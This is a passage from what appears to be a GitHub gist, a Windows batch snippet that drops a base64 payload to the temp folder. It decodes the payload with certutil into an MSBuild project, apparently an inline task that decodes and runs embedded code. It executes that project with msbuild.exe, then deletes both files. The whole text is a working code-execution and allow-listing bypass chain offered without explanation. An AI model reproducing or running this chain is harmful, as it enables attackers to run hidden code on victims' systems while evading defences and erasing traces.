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GOC5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhlbmNvZGVkdGV4dCkpO319XV0+PC9Db2RlPjwvVGFzaz48L1VzaW5nVGFzaz48L1Byb2plY3Q+>"%temp%\payload.txt"
certutil -decode "%temp%\payload.txt" "%temp%\payload.xml"
del %temp%\payload.txt
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe %tmp%\payload.xml
del %temp%\payload.xml
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment